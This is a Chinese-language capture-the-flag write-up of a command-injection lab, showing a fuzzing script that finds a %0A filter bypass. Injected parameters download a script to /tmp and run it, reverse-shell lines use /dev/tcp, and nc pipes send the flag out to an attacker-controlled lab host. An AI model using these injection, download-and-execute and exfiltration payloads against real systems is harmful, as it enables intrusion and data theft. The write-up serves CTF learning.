死亡 ping 命令
绕过探测
-
手动尝试
慢
-
脚本生成转义后的字符,后面拼接命令
import urllib.parse with open(r"C:\Users\LEGION\Desktop\RCE.txt", "w", encoding="utf-8") as f: for i in range(0, 255): encoded_str = urllib.parse.quote(chr(i)+"whoami") f.write(encoded_str + "\n")
-
bp 爆破
-
出现中文乱码
-
设置编码
-
爆破
最终发现转义后的
%0A
拼接时未被过滤
漏洞发现
-
发送到 Repeater 模块中查看,执行成功但并没有回显
-
尝试 kali 开启 nc 监听,反弹 shell
bash -i >& /dev/tcp/10.4.7.138/8888 0>&1
-
命令中包含过滤字符
-
开启另一个靶机,将命令写入 shell 文件尝试传入
bash -i >& /dev/tcp/10.4.7.146/8888 0>&1
-
开启 80 端口(docker 所在的靶机 80 端口被占用)
-
wget 下载失败(可能 docker 中未安装 wget)
-
curl 下载成功
ip=%0Acurl 10.4.7.146/shell> /tmp/shell
-
赋权
ip=%0Achmod 777 /tmp/shell
-
10.4.7.146 开启监听
-
运行,反弹失败
ip=%0A /tmp/shell
-
查找资料说此 docker 未安装 bash、python 等,所以无法反弹 shell
flag 获取
-
尝试直接回显
ls | nc 10.4.7.146 8888 # 将 ls 查看的命令输出回显到 kali
因为
|
会被过滤,所以使用同样的方法将命令写到 kali 的文件中,上传到靶机执行 -
编辑文件
-
上传
ip=%0Acurl 10.4.7.146/ls > /tmp/ls
-
赋权
ip=%0Achmod 777 /tmp/ls
-
执行
ip=%0A/tmp/ls
显示成功
查看反弹的 kali
成功反弹回
ls
的执行结果 -
接下来就是一个个命令上传,浏览附录
bp 中依次发送包
ip=%0Acurl 10.4.7.146/ls2 > /tmp/ls2 ip=%0Achmod 777 /tmp/ls2 ip=%0A/tmp/ls2
-
最终发现 flag 在根下
查看 flag
上传查看 flag 的脚本
cat /FLAG | nc 10.4.7.146 8888
ip=%0Acurl 10.4.7.146/cat > /tmp/cat ip=%0Achmod 777 /tmp/cat ip=%0A/tmp/cat
-
成功拿到 falg
n1book{6fa82809179d7f19c67259aa285a7729}